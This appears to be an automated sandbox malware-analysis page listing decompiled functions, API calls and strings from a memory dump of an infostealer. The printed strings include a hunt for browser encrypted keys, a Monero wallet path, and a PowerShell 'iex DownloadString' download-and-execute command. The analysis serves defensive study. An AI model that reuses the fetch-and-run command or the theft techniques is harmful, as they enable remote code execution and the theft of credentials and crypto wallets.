Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 268e947b0b50ffb2a8638e7da028532e20b884ffc7ba4522659d594f4c7c02e4
Instruction ID: e1f647a2b5760daa53463b3acfe6623624e9589217d532a65ecc7ddea2d4de12
Opcode Fuzzy Hash: 268e947b0b50ffb2a8638e7da028532e20b884ffc7ba4522659d594f4c7c02e4
Instruction Fuzzy Hash: 6DC1A5B590020DABCB14EF60DC99FEA7379BB54308F00459EE10A67151EB74AE85CFB5

Function 004B4280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004B8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 004B8E0B

lstrcat.KERNEL32(?,00000000), ref: 004B42EC
lstrcat.KERNEL32(?,00FDF310), ref: 004B430B
lstrcat.KERNEL32(?,?), ref: 004B431F
lstrcat.KERNEL32(?,00FDCD58), ref: 004B4333

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

Part of subcall function 004B8D90: GetFileAttributesA.KERNEL32(00000000,?,004A1B54,?,?,004C564C,?,?,004C0E1F), ref: 004B8D9F

Part of subcall function 004A9CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 004A9D39

Part of subcall function 004A99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004A99EC
Part of subcall function 004A99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004A9A11
Part of subcall function 004A99C0: LocalAlloc.KERNEL32(00000040,?), ref: 004A9A31
Part of subcall function 004A99C0: ReadFile.KERNEL32(000000FF,?,00000000,004A148F,00000000), ref: 004A9A5A
Part of subcall function 004A99C0: LocalFree.KERNEL32(004A148F), ref: 004A9A90
Part of subcall function 004A99C0: CloseHandle.KERNEL32(000000FF), ref: 004A9A9A

Part of subcall function 004B93C0: GlobalAlloc.KERNEL32(00000000,004B43DD,004B43DD), ref: 004B93D3

StrStrA.SHLWAPI(?,00FDF2E0), ref: 004B43F3
GlobalFree.KERNEL32(?), ref: 004B4512

Part of subcall function 004A9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NJ,00000000,00000000), ref: 004A9AEF
Part of subcall function 004A9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,004A4EEE,00000000,?), ref: 004A9B01
Part of subcall function 004A9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NJ,00000000,00000000), ref: 004A9B2A
Part of subcall function 004A9AC0: LocalFree.KERNEL32(?,?,?,?,004A4EEE,00000000,?), ref: 004A9B3F

lstrcat.KERNEL32(?,00000000), ref: 004B44A3
StrCmpCA.SHLWAPI(?,004C08D1), ref: 004B44C0
lstrcat.KERNEL32(00000000,00000000), ref: 004B44D2
lstrcat.KERNEL32(00000000,?), ref: 004B44E5
lstrcat.KERNEL32(00000000,004C0FB8), ref: 004B44F4

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 44f05961bcb51b8f9020ff4ef29678bbacbc2aac31c8edc7f6a096f96bcfb392
Instruction ID: 2150d40ef3ae38f866149b3199eeafaee41cfbb17eb5beeccb25c90bc6080bf5
Opcode Fuzzy Hash: 44f05961bcb51b8f9020ff4ef29678bbacbc2aac31c8edc7f6a096f96bcfb392
Instruction Fuzzy Hash: F87146B6900208BBDB14EBE0DC85FEE737DAB98304F00459DF60597181DA78EB55CBA5

Function 004B6770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 004B6774
ExitProcess.KERNEL32 ref: 004B67A5
ExitProcess.KERNEL32 ref: 004B67AF
ExitProcess.KERNEL32 ref: 004B67B9
ExitProcess.KERNEL32 ref: 004B67C3
ExitProcess.KERNEL32 ref: 004B67CD

Strings

*, xrefs: 004B678C

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: ef8aa7e9dedc268391536538a2dbedf129280184415429a09cebc7a0a910eab5
Instruction ID: 980db3f476343cff37a7be44a5f2c0de74dddd130f36ab7647652e950e326531
Opcode Fuzzy Hash: ef8aa7e9dedc268391536538a2dbedf129280184415429a09cebc7a0a910eab5
Instruction Fuzzy Hash: D4F0BE38904388EFDB40DFE0E84972C7B71FB04703F25019DE2098A280DA346B419B96

Function 004B92E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:K,80000000,00000003,00000000,00000003,00000080,00000000,?,004B3AEE,?), ref: 004B92FC
GetFileSizeEx.KERNEL32(000000FF,:K), ref: 004B9319
CloseHandle.KERNEL32(000000FF), ref: 004B9327

Strings

:K, xrefs: 004B92F8, 004B92FB
:K, xrefs: 004B9311, 004B933D, 004B9314

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :K$:K
API String ID: 1378416451-823401733
Opcode ID: a8583e004136d0f3c7a2d8ae009ad281e5645d6817d6d5e0b15b7b9e75fa275e
Instruction ID: 88b781e76a29c26e37d4b490eb306324edf32466cc8d6f749283d02663bd8668
Opcode Fuzzy Hash: a8583e004136d0f3c7a2d8ae009ad281e5645d6817d6d5e0b15b7b9e75fa275e
Instruction Fuzzy Hash: 99F03C79E44308BBDF10DFF4DC49B9E77FAAB48710F10D254BA51AB2C0D674AA018B65

Function 004B2C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

Part of subcall function 004BA9B0: lstrlen.KERNEL32(?,00FD8CC8,?,\Monero\wallet.keys,004C0E17), ref: 004BA9C5
Part of subcall function 004BA9B0: lstrcpy.KERNEL32(00000000), ref: 004BAA04
Part of subcall function 004BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 004BAA12

Part of subcall function 004BA920: lstrcpy.KERNEL32(00000000,?), ref: 004BA972
Part of subcall function 004BA920: lstrcat.KERNEL32(00000000), ref: 004BA982

Part of subcall function 004BA8A0: lstrcpy.KERNEL32(?,004C0E17), ref: 004BA905

ShellExecuteEx.SHELL32(0000003C), ref: 004B2D85

Strings

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 004B2D04
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 004B2CC4
')", xrefs: 004B2CB3
<, xrefs: 004B2D39

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 522201fe09485ebc7bfe3165e6a849ca39ed3ec08f96a538c209769331b0a223
Instruction ID: b4b93c9c896031ac96e22721c7b5b164cd72507dc6ea2338b4798ea941335e33
Opcode Fuzzy Hash: 522201fe09485ebc7bfe3165e6a849ca39ed3ec08f96a538c209769331b0a223
Instruction Fuzzy Hash: EE41BE71C10208AADB14FFA1C8A1FDDB778AF14304F50411EE116BA591DF786A5ACFBA

Function 004A9E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 004A9F41

Part of subcall function 004BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 004BA7E6

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

Strings

v10, xrefs: 004A9EA3
ERROR_RUN_EXTRACTOR, xrefs: 004A9E67
@, xrefs: 004A9EF1
v20, xrefs: 004A9E21

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: cb87fbef9ec2b6dca149417f40b36b2730700d3bacf44f158e14fba3e648bc2f
Instruction ID: 74dea89d729894183315d4aa6469057794672dfe6815f7fd5ebf9c0cb59d3398
Opcode Fuzzy Hash: cb87fbef9ec2b6dca149417f40b36b2730700d3bacf44f158e14fba3e648bc2f
Instruction Fuzzy Hash: 62618034A00248EBDB24EFA5CC95FEE73B5AF55304F00801DF90A5B191EF786A06CB66

Function 004B9260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(00FDF028,?,?,?,004B140C,?,00FDF028,00000000), ref: 004B926C
lstrcpyn.KERNEL32(006EAB88,00FDF028,00FDF028,?,004B140C,?,00FDF028), ref: 004B9290
lstrlen.KERNEL32(?,?,004B140C,?,00FDF028), ref: 004B92A7
wsprintfA.USER32 ref: 004B92C7

Strings

%s%s, xrefs: 004B92B5

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 2900b21e2aa79943ca685d6319679d56c18adb03543b7d0a8517de767fb5261b
Instruction ID: e188171d3432412bb5fae9067b5e39aaab70755b9ab458b1defff640a101aa88
Opcode Fuzzy Hash: 2900b21e2aa79943ca685d6319679d56c18adb03543b7d0a8517de767fb5261b
Instruction Fuzzy Hash: 4C01CC75501248FFCB04DFECC994EAE7BBAEF44354F148548F9099B244C635AA40DBA5

Function 004BC84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 004BC8EC
___crtLCMapStringA.LIBCMT ref: 004BC90C
___crtLCMapStringA.LIBCMT ref: 004BC931

Strings

, xrefs: 004BC896

Memory Dump Source

